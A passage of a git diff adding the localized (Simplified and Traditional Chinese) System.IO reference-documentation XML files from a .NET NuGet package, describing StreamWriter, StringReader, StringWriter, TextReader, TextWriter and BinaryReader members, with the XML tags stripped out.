异步读取来自流的当前位置到结尾的所有字符并将它们作为一个字符串返回。 + 表示异步读取操作的任务。 参数值包括带有从流的当前位置到结尾的字符的字符串。 + 字符数大于 。 + 流已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 实现一个 ，使其以一种特定的编码向流中写入字符。若要浏览此类型的.NET Framework 源代码，请参阅参考源。 + 1 + + + 用 UTF-8 编码及默认缓冲区大小，为指定的流初始化 类的一个新实例。 + 要写入的流。 + + 不可写。 + + 为 null。 + + + 用指定的编码及默认缓冲区大小，为指定的流初始化 类的新实例。 + 要写入的流。 + 要使用的字符编码。 + + 或 为 null。 + + 不可写。 + + + 用指定的编码及缓冲区大小，为指定的流初始化 类的新实例。 + 要写入的流。 + 要使用的字符编码。 + 缓冲区大小（以字节为单位）。 + + 或 为 null。 + + 为负数。 + + 不可写。 + + + 用指定的编码及默认缓冲区大小，为指定的流初始化 类的新实例，有选择性的打开流。 + 要写入的流。 + 要使用的字符编码。 + 缓冲区大小（以字节为单位）。 + true to leave the stream open after the object is disposed; otherwise, false. + + 或 为 null。 + + 为负数。 + + 不可写。 + + + 获取或设置一个值，该值指示 是否在每次调用 之后，将其缓冲区刷新到基础流。 + 强制 刷新其缓冲区时，为 true；否则，为 false。 + 1 + + + 获取同后备存储连接的基础流。 + 此 StreamWriter 正在写入的基础流。 + 2 + + + 释放由 占用的非托管资源，还可以另外再释放托管资源。 + true to release both managed and unmanaged resources; false to release only unmanaged resources. + 当前编码不支持显示半个 Unicode 代理项对。 + + + 获取将输出写入到其中的 。 + 在当前实例的构造函数中指定的 ；或者如果未指定编码，则为 。 + 2 + + + 清理当前写入器的所有缓冲区，并使所有缓冲数据写入基础流。 + 当前编写器已关闭。 + 出现 I/O 错误。 + 当前编码不支持显示半个 Unicode 代理项对。 + 1 + + + 异步清除此流的所有缓冲区并导致所有缓冲数据都写入基础设备中。 + 表示异步刷新操作的任务。 + 流已被释放。 + + + 提供 StreamWriter，它不带任何可写入但无法从中读取的后备存储。 + 1 + + + 将字符写入流。 + 要写入流中的字符。 + 发生 I/O 错误。 + + 为 true 或 缓冲区已满，并且当前编写器已关闭。 + + 为 true 或 缓冲区已满，并且由于 位于基础固定大小流的结尾，缓冲区的内容无法写入该流。 + 1 + + + 将字符数组写入流。 + 包含要写入的数据的字符数组。如果 为 null，则不写入任何内容。 + 发生 I/O 错误。 + + 为 true 或 缓冲区已满，并且当前编写器已关闭。 + + 为 true 或 缓冲区已满，并且由于 位于基础固定大小流的结尾，缓冲区的内容无法写入该流。 + 1 + + + 将字符的子数组写入流。 + 包含要写入的数据的字符数组。 + 在开始读取数据时缓冲区中的字符位置。 + 要写入的最大字符数。 + + 为 null。 + 缓冲区长度减去 小于 。 + + 或 为负。 + 发生 I/O 错误。 + + 为 true 或 缓冲区已满，并且当前编写器已关闭。 + + 为 true 或 缓冲区已满，并且由于 位于基础固定大小流的结尾，缓冲区的内容无法写入该流。 + 1 + + + 将字符串写入流。 + 要写入流的字符串。如果 为 null，则不写入任何内容。 + + 为 true 或 缓冲区已满，并且当前编写器已关闭。 + + 为 true 或 缓冲区已满，并且由于 位于基础固定大小流的结尾，缓冲区的内容无法写入该流。 + 发生 I/O 错误。 + 1 + + + 将字符异步写入该流。 + 表示异步写操作的任务。 + 要写入流中的字符。 + 流编写器已被释放。 + 流编写器正在由其前一次写入操作使用。 + + + 将字符的子数组异步写入该流。 + 表示异步写操作的任务。 + 包含要写入的数据的字符数组。 + 在开始读取数据时缓冲区中的字符位置。 + 要写入的最大字符数。 + + 为 null。 + + plus 大于缓冲区长度。 + + 或 为负。 + 流编写器已被释放。 + 流编写器正在由其前一次写入操作使用。 + + + 将字符串异步写入该流。 + 表示异步写操作的任务。 + 要写入流的字符串。如果 为 null，则不写入任何内容。 + 流编写器已被释放。 + 流编写器正在由其前一次写入操作使用。 + + + 将行终止符异步写入该流。 + 表示异步写操作的任务。 + 流编写器已被释放。 + 流编写器正在由其前一次写入操作使用。 + + + 将后跟行终止符的字符异步写入该流。 + 表示异步写操作的任务。 + 要写入流中的字符。 + 流编写器已被释放。 + 流编写器正在由其前一次写入操作使用。 + + + 将后跟行终止符的字符的子数组异步写入该流。 + 表示异步写操作的任务。 + 要从中写出数据的字符数组。 + 在开始读取数据时缓冲区中的字符位置。 + 要写入的最大字符数。 + + 为 null。 + + plus 大于缓冲区长度。 + + 或 为负。 + 流编写器已被释放。 + 流编写器正在由其前一次写入操作使用。 + + + 将后跟行终止符的字符串异步写入该流。 + 表示异步写操作的任务。 + 要写入的字符串。如果值为 null，则只写入行终止符。 + 流编写器已被释放。 + 流编写器正在由其前一次写入操作使用。 + + + 实现从字符串进行读取的 。 + 2 + + + 初始化从指定字符串进行读取的 类的新实例。 + 应将 初始化为的字符串。 + + 参数为 null。 + + + 释放由 占用的非托管资源，还可以另外再释放托管资源。 + true 表示释放托管资源和非托管资源；false 表示仅释放非托管资源。 + + + 返回下一个可用的字符，但不使用它。 + 一个表示下一个要读取的字符的整数；如果没有更多可读取的字符或该流不支持查找，则为 -1。 + 当前读取器已关闭。 + 2 + + + 读取输入字符串中的下一个字符并将该字符的位置提升一个字符。 + 基础字符串中的下一个字符，或者如果没有更多的可用字符，则为 -1。 + 当前读取器已关闭。 + 2 + + + 读取输入字符串中的字符块，并将字符位置提升 。 + 读入缓冲区的总字符数。如果当前没有那么多字符可用，则总字符数可能会少于所请求的字符数，或者如果已到达基础字符串的结尾，则总字符数为零。 + 此方法返回时，包含指定的字符数组，该数组的 和 ( + - 1) 之间的值由从当前源中读取的字符替换。 + 缓存区中的起始索引。 + 要读取的字符数。 + + 为 null。 + 缓冲区长度减去 小于 。 + + 或 为负。 + 当前读取器已关闭。 + 2 + + + 异步从当前字符串中读取指定数目的字符并从指定索引开始将该数据写入缓冲区。 + 表示异步读取操作的任务。 参数的值包含读入缓冲区的总字节数。如果当前可用字节数少于所请求的字节数，则该结果值可能小于所请求的字节数，或者如果已到达字符串的末尾时，则为 0（零）。 + 此方法返回时，包含指定的字符数组，该数组的 和 ( + - 1) 之间的值由从当前源中读取的字符替换。 + 在 中开始写入的位置。 + 最多读取的字符数。如果在写入指定数目的字符到缓冲区之前，就已经达到字符串的末尾，则方法返回。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 字符串读取器已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 异步从当前字符串中读取指定数目的字符并从指定索引开始将该数据写入缓冲区。 + 表示异步读取操作的任务。 参数的值包含读入缓冲区的总字节数。如果当前可用字节数少于所请求的字节数，则该结果值可能小于所请求的字节数，或者如果已到达字符串的末尾时，则为 0（零）。 + 此方法返回时，包含指定的字符数组，该数组的 和 ( + - 1) 之间的值由从当前源中读取的字符替换。 + 在 中开始写入的位置。 + 最多读取的字符数。如果在写入指定数目的字符到缓冲区之前，就已经达到字符串的末尾，则方法返回。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 字符串读取器已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 从当前字符串中读取一行字符并将数据作为字符串返回。 + 当前字符串中的下一行；或为 null （如果到达了字符串的末尾）。 + 当前读取器已关闭。 + 内存不足，无法为返回的字符串分配缓冲区。 + 2 + + + 从当前字符串中异步读取一行字符并将数据作为字符串返回。 + 表示异步读取操作的任务。 参数的值包含来自字符串读取器的下一行或为 null 如果读取所有字符。 + 下一行中的字符数大于 。 + 字符串读取器已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 读取从当前位置到字符串的结尾的所有字符并将它们作为单个字符串返回。 + 从当前位置到基础字符串的结尾之间的内容。 + 内存不足，无法为返回的字符串分配缓冲区。 + 当前读取器已关闭。 + 2 + + + 异步读取从当前位置到字符串的结尾的所有字符并将它们作为单个字符串返回。 + 表示异步读取操作的任务。 参数值包括字符串来自当前位置到结束字符串字符。 + 字符数大于 。 + 字符串读取器已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 实现一个用于将信息写入字符串的 。该信息存储在基础 中。 + 2 + + + 初始化 类的新实例。 + + + 使用指定的格式控制初始化 类的新实例。 + 控制格式设置的 对象。 + + + 初始化写入指定 的 类的新实例。 + 要写入的 StringBuilder。 + + 为 null。 + + + 初始化写入指定 并具有指定格式提供程序的 类的新实例。 + 要写入的 StringBuilder。 + 控制格式设置的 对象。 + + 为 null。 + + + 释放由 占用的非托管资源，还可以另外再释放托管资源。 + true 表示释放托管资源和非托管资源；false 表示仅释放非托管资源。 + + + 获取将输出写入到其中的 。 + 用来写入输出的 Encoding。 + 1 + + + 异步清理当前编写器的所有缓冲区，使所有缓冲数据写入基础设备。 + 表示异步刷新操作的任务。 + + + 返回基础 。 + 基础 StringBuilder。 + 2 + + + 返回包含迄今为止写入到当前 StringWriter 中的字符的字符串。 + 包含写入到当前 StringWriter 中的字符的字符串。 + 2 + + + 将字符写入该字符串。 + 要写入的字符。 + 编写器已关闭。 + 2 + + + 将字符的子数组写入该字符串。 + 要从中写出数据的字符数组。 + 在开始读取数据缓存中的位置。 + 要写入的最大字符数。 + + 为 null。 + + 或 为负。 + ( + )> 。Length. + 编写器已关闭。 + 2 + + + 将字符串写入当前流。 + 要写入的字符串。 + 编写器已关闭。 + 2 + + + 以异步方式将字符写入流。 + 表示异步写入操作的任务。 + 要写入字符串中的字符。 + 字符串编写器已被释放。 + 字符串编写器正在由其前一次写操作使用。 + + + 将字符的子数组异步写入该字符串。 + 表示异步写入操作的任务。 + 要从中写出数据的字符数组。 + 在开始读取数据缓存中的位置。 + 要写入的最大字符数。 + + 为 null。 + + plus 大于缓冲区长度。 + + 或 为负。 + 字符串编写器已被释放。 + 字符串编写器正在由其前一次写操作使用。 + + + 以异步方式将字符串写入当前流。 + 表示异步写入操作的任务。 + 要写入的字符串。如果 为 null，则不会将任何内容写入文本流。 + 字符串编写器已被释放。 + 字符串编写器正在由其前一次写操作使用。 + + + 以异步方式将后跟行结束符的字符写入该字符串。 + 表示异步写入操作的任务。 + 要写入字符串中的字符。 + 字符串编写器已被释放。 + 字符串编写器正在由其前一次写操作使用。 + + + 将后跟行结束符的字符子数组异步写入该字符串。 + 表示异步写入操作的任务。 + 要从中写出数据的字符数组。 + 在开始读取数据缓存中的位置。 + 要写入的最大字符数。 + + 为 null。 + + plus 大于缓冲区长度。 + + 或 为负。 + 字符串编写器已被释放。 + 字符串编写器正在由其前一次写操作使用。 + + + 将一后跟行结束符的字符串异步写入当前字符串。 + 表示异步写入操作的任务。 + 要写入的字符串。如果值为 null，则只写入行终止符。 + 字符串编写器已被释放。 + 字符串编写器正在由其前一次写操作使用。 + + + 表示可读取有序字符系列的读取器。 + 2 + + + 初始化 类的新实例。 + + + 释放由 对象使用的所有资源。 + + + 释放由 占用的非托管资源，还可以释放托管资源。 + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + 提供一个无数据可供读取的 TextReader。 + 1 + + + 读取下一个字符，而不更改读取器状态或字符源。返回下一个可用字符，而实际上并不从读取器中读取此字符。 + 一个表示下一个要读取的字符的整数；如果没有更多可读取的字符或该读取器不支持查找，则为 -1。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 读取文本读取器中的下一个字符并使该字符的位置前移一个字符。 + 文本读取器中的下一个字符，或为 -1（如果没有更多可用字符）。默认实现将返回 -1。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 从当前读取器中读取指定数目的字符并从指定索引开始将该数据写入缓冲区。 + 已读取的字符数。该数会小于或等于 ，具体取决于读取器中是否有可用的数据。如果调用此方法时没有留下更多的字符供读取，则此方法返回 0（零）。 + 此方法返回时，包含指定的字符数组，该数组的 和 ( + - 1) 之间的值由从当前源中读取的字符替换。 + 在 中开始写入的位置。 + 要读取的最大字符数。如果在将指定数量的字符读入缓冲区之前就已达读取器的末尾，则返回该方法。 + + 为 null。 + 缓冲区长度减去 小于 。 + + 或 为负。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 异步从当前文本读取器中读取指定最大字符数并从指定索引开始将该数据写入缓冲区。 + 表示异步读取操作的任务。 参数的值包含读入缓冲区的总字节数。如果当前可用字节数少于所请求的字节数，则该结果值可能小于所请求的字节数，或者如果已达到文本的末尾时，则为 0（零）。 + 此方法返回时，包含指定的字符数组，该数组的 和 ( + - 1) 之间的值由从当前源中读取的字符替换。 + 在 中开始写入的位置。 + 要读取的最大字符数。如果在将指定数量的字符读入缓冲区之前已到达文本的末尾，则当前方法将返回。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 文本读取器已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 从当前文本读取器中读取指定的最大字符数并从指定索引处开始将该数据写入缓冲区。 + 已读取的字符数。该数字将小于或等于 ，具体取决于是否所有的输入字符都已读取。 + 此方法返回时，此参数包含指定的字符数组，该数组中从 到 ( + -1) 之间的值由从当前源中读取的字符替换。 + 在 中开始写入的位置。 + 要读取的最大字符数。 + + 为 null。 + 缓冲区长度减去 小于 。 + + 或 为负。 + + 是关闭的。 + 发生 I/O 错误。 + 2 + + + 异步从当前文本读取器中读取指定最大字符数并从指定索引开始将该数据写入缓冲区。 + 表示异步读取操作的任务。 参数的值包含读入缓冲区的总字节数。如果当前可用字节数少于所请求的字节数，则该结果值可能小于所请求的字节数，或者如果已达到文本的末尾时，则为 0（零）。 + 此方法返回时，包含指定的字符数组，该数组的 和 ( + - 1) 之间的值由从当前源中读取的字符替换。 + 在 中开始写入的位置。 + 要读取的最大字符数。如果在将指定数量的字符读入缓冲区之前已到达文本的末尾，则当前方法将返回。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 文本读取器已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 从文本读取器中读取一行字符并将数据作为字符串返回。 + 读取器中的下一行，或为 null （如果已读取了所有字符）。 + 发生 I/O 错误。 + 内存不足，无法为返回的字符串分配缓冲区。 + + 是关闭的。 + 下一行中的字符数大于 + 1 + + + 异步读取一行字符并将数据作为字符串返回。 + 表示异步读取操作的任务。 参数的值包含来自文本读取器的下一行或为 null 如果读取所有字符。 + 下一行中的字符数大于 。 + 文本读取器已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 读取从当前位置到文本读取器末尾的所有字符并将它们作为一个字符串返回。 + 一个包含从当前位置到文本读取器末尾的所有字符的字符串。 + 发生 I/O 错误。 + + 是关闭的。 + 内存不足，无法为返回的字符串分配缓冲区。 + 下一行中的字符数大于 + 1 + + + 异步读取从当前位置到文本读取器末尾的所有字符并将它们作为一个字符串返回。 + 表示异步读取操作的任务。 参数值包括字符串来自当前位置到结束文本读取器字符。 + 字符数大于 。 + 文本读取器已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 表示可以编写一个有序字符系列的编写器。此类为抽象类。 + 2 + + + 初始化 类的新实例。 + + + 使用指定的格式提供程序初始化 类的新实例。 + 控制格式设置的 对象。 + + + 存储用于此 TextWriter 的换行符。 + + + 释放由 对象使用的所有资源。 + + + 释放由 占用的非托管资源，还可以释放托管资源。 + 若要释放托管资源和非托管资源，则为 true；若仅释放非托管资源，则为 false。 + + + 当在派生类中重写时，返回用来写输出的该字符编码。 + 用来写入输出的字符编码。 + 1 + + + 清理当前编写器的所有缓冲区，使所有缓冲数据写入基础设备。 + 1 + + + 异步清理当前编写器的所有缓冲区，使所有缓冲数据写入基础设备。 + 表示异步刷新操作的任务。 + 文本编写器已被释放。 + 编写器正在由其前一次写操作使用。 + + + 获取控制格式设置的对象。 + 特定区域性的 对象，或者如果未指定任何其他区域性，则为当前区域性的格式设置。 + 2 + + + 获取或设置由当前 TextWriter 使用的行结束符字符串。 + 当前 TextWriter 的行结束符字符串。 + 2 + + + 提供 TextWriter，它不带任何可写入但无法从中读取的后备存储。 + 1 + + + 将 Boolean 值的文本表示形式写入文本字符串或流。 + 要写入的 Boolean 值。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将字符写入该文本字符串或流。 + 要写入文本流中的字符。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将字符数组写入该文本字符串或流。 + 要写入文本流中的字符数组。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将字符的子数组写入文本字符串或流。 + 要从中写出数据的字符数组。 + 在开始接收数据时缓存中的字符位置。 + 要写入的字符数。 + 缓冲区长度减去 小于 。 + + 参数为 null。 + + 或 为负。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将十进制值的文本表示形式写入文本字符串或流。 + 要写入的十进制值。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将 8 字节浮点值的文本表示形式写入文本字符串或流。 + 要写入的 8 字节浮点值。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将 4 字节有符号整数的文本表示形式写入文本字符串或流。 + 要写入的 4 字节有符号整数。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将 8 字节有符号整数的文本表示形式写入文本字符串或流。 + 要写入的 8 字节有符号整数。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 通过在对象上调用 ToString 方法将此对象的文本表示形式写入文本字符串或流。 + 要写入的对象。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将 4 字节浮点值的文本表示形式写入文本字符串或流。 + 要写入的 4 字节浮点值。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 以异步形式将字符串写入到文本字符串或流。 + 要写入的字符串。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 使用与 方法相同的语义将格式化字符串和新行写入文本字符串或流。 + 复合格式字符串（请参见“备注”）。 + 要格式化和写入的对象。 + + 为 null。 + + 是关闭的。 + 发生 I/O 错误。 + + 不是有效的复合格式字符串。- 或 - 格式项的索引小于 0 （0）、或大于或等于要设置格式的对象数 (用于该方法重载，为一)。 + 1 + + + 使用与 方法相同的语义将格式化字符串和新行写入文本字符串或流。 + 复合格式字符串（请参见“备注”）。 + 要格式化和写入的第一个对象。 + 要格式化和写入的第二个对象。 + + 为 null。 + + 是关闭的。 + 发生 I/O 错误。 + + 不是有效的复合格式字符串。- 或 - 格式项的索引小于 0 （0） 或大于或等于要设置格式的对象数 (用于该方法重载，为二)。 + 1 + + + 使用与 方法相同的语义将格式化字符串和新行写入文本字符串或流。 + 复合格式字符串（请参见“备注”）。 + 要格式化和写入的第一个对象。 + 要格式化和写入的第二个对象。 + 要设置格式和写入的第三个对象。 + + 为 null。 + + 是关闭的。 + 发生 I/O 错误。 + + 不是有效的复合格式字符串。- 或 - 格式项的索引小于 0 （0）、或大于或等于要设置格式的对象数 (用于该方法重载，为三)。 + 1 + + + 使用与 方法相同的语义将格式化字符串和新行写入文本字符串或流。 + 复合格式字符串（请参见“备注”）。 + 一个对象数组，其中包含零个或多个要设置格式和写入的对象。 + + 或 为 null。 + + 是关闭的。 + 发生 I/O 错误。 + + 不是有效的复合格式字符串。- 或 - 格式项的索引小于 0（零）或大于等于 数组的长度。 + 1 + + + 将 4 字节无符号整数的文本表示形式写入文本字符串或流。 + 要写入的 4 字节无符号整数。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将 8 字节无符号整数的文本表示形式写入文本字符串或流。 + 要写入的 8 字节无符号整数。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 以异步形式将字符写入到下一个文本字符串或流。 + 表示异步写入操作的任务。 + 要写入文本流中的字符。 + 文本编写器已被释放。 + 文本编写器正在由其前一次写操作使用。 + + + 以异步形式将字符数组写入到下一个字符串或流。 + 表示异步写入操作的任务。 + 要写入文本流中的字符数组。如果 为 null，则不写入任何内容。 + 文本编写器已被释放。 + 文本编写器正在由其前一次写操作使用。 + + + 将字符的子数组异步写入文本字符串或流。 + 表示异步写入操作的任务。 + 要从中写出数据的字符数组。 + 在开始接收数据时缓存中的字符位置。 + 要写入的字符数。 + + 为 null。 + + plus 大于缓冲区长度。 + + 或 为负。 + 文本编写器已被释放。 + 文本编写器正在由其前一次写操作使用。 + + + 以异步形式将字符串写入到下一字符串或流。 + 表示异步写入操作的任务。 + 要写入的字符串。如果 为 null，则不会将任何内容写入文本流。 + 文本编写器已被释放。 + 文本编写器正在由其前一次写操作使用。 + + + 将行结束符的字符串写入文本字符串或流。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将后面带有行结束符的 Boolean 值的文本表示形式写入文本字符串或流。 + 要写入的 Boolean 值。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将后跟行结束符的字符写入文本字符串或流。 + 要写入文本流中的字符。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将后跟行结束符的字符数组写入文本字符串或流。 + 从其读取数据的字符数组。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将后跟行结束符的字符子数组写入文本字符串或流。 + 从其读取数据的字符数组。 + 在开始读取数据时 中的字符位置。 + 要写入的最大字符数。 + 缓冲区长度减去 小于 。 + + 参数为 null。 + + 或 为负。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将后面带有行结束符的十进制值的文本表示形式写入文本字符串或流。 + 要写入的十进制值。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将后跟行结束符的 8 字节浮点值的文本表示形式写入文本字符串或流。 + 要写入的 8 字节浮点值。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将后跟行结束符的 4 字节有符号整数的文本表示形式写入文本字符串或流。 + 要写入的 4 字节有符号整数。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将后跟行结束符的 8 字节有符号整数的文本表示形式写入文本字符串或流。 + 要写入的 8 字节有符号整数。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 通过在对象上调用 ToString 方法将后跟行结束符的此对象的文本表示形式写入文本字符串或流。 + 要写入的对象。如果 为 null，则只写入行终止符。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将后跟行结束符的 4 字节浮点值的文本表示形式写入文本字符串或流。 + 要写入的 4 字节浮点值。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将后跟行结束符的字符串写入文本字符串或流。 + 要写入的字符串。如果 为 null，则只写入行终止符。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 使用与 方法相同的语义将格式化字符串和新行写入文本字符串或流。 + 复合格式字符串（请参见“备注”）。 + 要格式化和写入的对象。 + + 为 null。 + + 是关闭的。 + 发生 I/O 错误。 + + 不是有效的复合格式字符串。- 或 - 格式项的索引小于 0 （0）、或大于或等于要设置格式的对象数 (用于该方法重载，为一)。 + 1 + + + 使用与 方法相同的语义将格式化字符串和新行写入文本字符串或流。 + 复合格式字符串（请参见“备注”）。 + 要格式化和写入的第一个对象。 + 要格式化和写入的第二个对象。 + + 为 null。 + + 是关闭的。 + 发生 I/O 错误。 + + 不是有效的复合格式字符串。- 或 - 格式项的索引小于 0 （0）、或大于或等于要设置格式的对象数 (用于该方法重载，为二)。 + 1 + + + 使用与 相同的语义写出格式化的字符串和一个新行。 + 复合格式字符串（请参见“备注”）。 + 要格式化和写入的第一个对象。 + 要格式化和写入的第二个对象。 + 要设置格式和写入的第三个对象。 + + 为 null。 + + 是关闭的。 + 发生 I/O 错误。 + + 不是有效的复合格式字符串。- 或 - 格式项的索引小于 0 （0）、或大于或等于要设置格式的对象数 (用于该方法重载，为三)。 + 1 + + + 使用与 相同的语义写出格式化的字符串和一个新行。 + 复合格式字符串（请参见“备注”）。 + 一个对象数组，其中包含零个或多个要设置格式和写入的对象。 + 字符串或对象作为 null 传入。 + + 是关闭的。 + 发生 I/O 错误。 + + 不是有效的复合格式字符串。- 或 - 格式项的索引小于 0（零）或大于等于 数组的长度。 + 1 + + + 将后跟行结束符的 4 字节无符号整数的文本表示形式写入文本字符串或流。 + 要写入的 4 字节无符号整数。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将后跟行结束符的 8 字节无符号整数的文本表示形式写入文本字符串或流。 + 要写入的 8 字节无符号整数。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将行结束符的字符串异步写入文本字符串或流。 + 表示异步写入操作的任务。 + 文本编写器已被释放。 + 文本编写器正在由其前一次写操作使用。 + + + 将后跟行结束符的字符异步写入文本字符串或流。 + 表示异步写入操作的任务。 + 要写入文本流中的字符。 + 文本编写器已被释放。 + 文本编写器正在由其前一次写操作使用。 + + + 将后跟行结束符的字符数组异步写入文本字符串或流。 + 表示异步写入操作的任务。 + 要写入文本流中的字符数组。如果字符数组为 null，则仅写入行结束符。 + 文本编写器已被释放。 + 文本编写器正在由其前一次写操作使用。 + + + 将后跟行结束符的字符子数组异步写入文本字符串或流。 + 表示异步写入操作的任务。 + 要从中写出数据的字符数组。 + 在开始接收数据时缓存中的字符位置。 + 要写入的字符数。 + + 为 null。 + + plus 大于缓冲区长度。 + + 或 为负。 + 文本编写器已被释放。 + 文本编写器正在由其前一次写操作使用。 + + + 将后跟行结束符的字符串异步写入文本字符串或流。 + 表示异步写入操作的任务。 + 要写入的字符串。如果值为 null，则只写入行终止符。 + 文本编写器已被释放。 + 文本编写器正在由其前一次写操作使用。 + + + \ No newline at end of file diff --git a/packages/System.IO.4.3.0/ref/netstandard1.0/zh-hant/System.IO.xml b/packages/System.IO.4.3.0/ref/netstandard1.0/zh-hant/System.IO.xml new file mode 100644 index 0000000..68602e9 --- /dev/null +++ b/packages/System.IO.4.3.0/ref/netstandard1.0/zh-hant/System.IO.xml @@ -0,0 +1,2246 @@ + + + + System.IO + + + + 以特定的編碼方式，將基本資料型別當做二進位值讀取。 + 2 + + + 根據指定的資料流並使用 UTF-8 編碼方式，初始化 類別的新執行個體。 + 輸入資料流。 + 資料流不支援讀取，為 null，或已經關閉。 + + + 根據指定的資料流和字元編碼，初始化 類別的新執行個體。 + 輸入資料流。 + 要使用的字元編碼。 + 資料流不支援讀取，為 null，或已經關閉。 + + 為 null。 + + + 根據指定的資料流和特定的字元編碼，初始化 類別的新執行個體，並選擇性地保留資料流開啟狀態。 + 輸入資料流。 + 要使用的字元編碼。 + true 表示在處置 物件之後，將資料流保持開啟；否則為 false。 + 資料流不支援讀取，為 null，或已經關閉。 + + 或 為 null。 + + + 公開 之基礎資料流的存取。 + 與 BinaryReader 相關聯的基礎資料流。 + 2 + + + 將 類別目前的執行個體所使用的資源全部釋出。 + + + 釋放 類別所使用的 Unmanaged 資源，並選擇性地釋放 Managed 資源。 + true 表示釋放 Managed 和 Unmanaged 資源，false 則表示只釋放 Unmanaged 資源。 + + + 將從資料流讀取的指定位元組數目填入內部緩衝區。 + 要讀取的位元組數。 + 在 可讀取之前到達資料流末端。 + 發生 I/O 錯誤。 + 所要求的 大於內部緩衝區大小。 + + + 傳回下一個可用字元，而不前移位元組或字元的位置。 + 下一個可用的字元；如果沒有更多字元可供使用或資料流不支援搜尋，則為 -1。 + 發生 I/O 錯誤。 + 無法使用針對資料流選取的 將目前的字元解碼到內部字元緩衝區。 + 2 + + + 按照所使用的 Encoding 和從資料流讀取的特定字元，自基礎資料流讀取字元，並將資料流中目前的位置往前移。 + 輸入資料流的下一個字元；如果目前沒有字元可供使用，則為 -1。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 2 + + + 由位元組陣列中指定點開始，讀取資料流中的指定位元組數。 + 要讀入 的位元組數。如果沒有足夠的位元組數，這可能會小於要求的位元組數；如果已到達資料流末端，則可能為零。 + 要讀取資料的緩衝區。 + 開始讀取資料到緩衝區的緩衝區起始點。 + 要讀取的位元組數。 + 緩衝區長度減去 小於 。-或-欲讀取的解碼字元數大於 。如果 Unicode 解碼器傳回後援字元或 Surrogate 組，就會發生這個情況。 + + 為 null。 + + 或 為負值。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 由字元陣列中的指定點開始，從資料流讀取指定字元數。 + 讀入緩衝區的字元總數。如果目前沒有足夠的位元組數，這可能會小於要求的位元組數；如果已到達資料流末端，則可能為零。 + 要讀取資料的緩衝區。 + 開始讀取資料到緩衝區的緩衝區起始點。 + 要讀取的字元數。 + 緩衝區長度減去 小於 。-或-欲讀取的解碼字元數大於 。如果 Unicode 解碼器傳回後援字元或 Surrogate 組，就會發生這個情況。 + + 為 null。 + + 或 為負值。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 以壓縮格式讀取 32 位元整數。 + 壓縮格式的 32 位元整數。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 資料流已損毀。 + + + 自目前資料流讀取 Boolean 值，並將資料流中目前的位置往前移一個位元組。 + 如果位元組為非零值，則為 true；否則為 false。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 自目前資料流讀取下一個位元組，並將資料流中目前的位置往前移一個位元組。 + 自目前資料流讀取的下一個位元組。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 將目前資料流中的指定位元組數讀入位元組陣列中，並將目前的位置前移該位元組數。 + 位元組陣列，含有自基礎資料流讀取的資料。如果已到達資料流末端，這可能會小於要求的位元組數。 + 要讀取的位元組數。這個值必須是 0 或非負數，否則會發生例外狀況。 + 欲讀取的解碼字元數大於 。如果 Unicode 解碼器傳回後援字元或 Surrogate 組，就會發生這個情況。 + 發生 I/O 錯誤。 + 已關閉資料流。 + + 為負值。 + 2 + + + 按照所使用的 Encoding 和從資料流讀取的特定字元，自目前資料流讀取下一個字元，並將資料流中目前的位置往前移。 + 自目前資料流讀取的字元。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 讀取到 Surrogate 字元 + 2 + + + 讀取目前資料流中的指定字元數，並將資料傳入字元陣列中，然後依據使用的 Encoding 以及正在從資料流中讀取的指定字元，前移目前的位置。 + 字元陣列，含有從基礎資料流讀取的資料。如果已到達資料流末端，這可能會小於要求的字元數。 + 要讀取的字元數。 + 